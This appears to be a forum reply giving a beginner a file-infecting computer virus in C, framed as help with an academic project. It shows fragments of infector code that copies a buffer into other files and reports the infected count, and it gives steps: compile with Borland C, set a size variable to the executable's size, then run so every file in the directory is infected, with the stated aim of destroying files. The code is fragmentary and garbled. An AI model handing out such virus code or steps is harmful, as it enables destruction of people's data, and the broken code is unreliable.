There is a lot of virus depends on you where u want to use it i.e. for network, for simple
desktop pc etc.
>> first understand on desktop how types of viruses may be
Example: To Destroy all files making them size 0 or else.
unsigned long x;
printf("Infecting %s\n",fBlck .ff_name,a);
fread(buff, x, 1, vPtr);
fwrite(buff, x, 1, lPtr);
printf("DONE! (Total Infected Files = %d)",nCount);
printf("TIME TAKEN=%f SEC\n",
>>> You can use borland c.
First compile and link and see the size of this Exe in bytes. same value you have to assign to "nSize" variables in the program
Now again compile and then run this program, then all files in that directory will be infected.
This is for your initiates of your project. A lot of things are there. First read many other way like process replica etc.
THis is only for your kind of your information and for your project(Academic)only. Dont use it any places.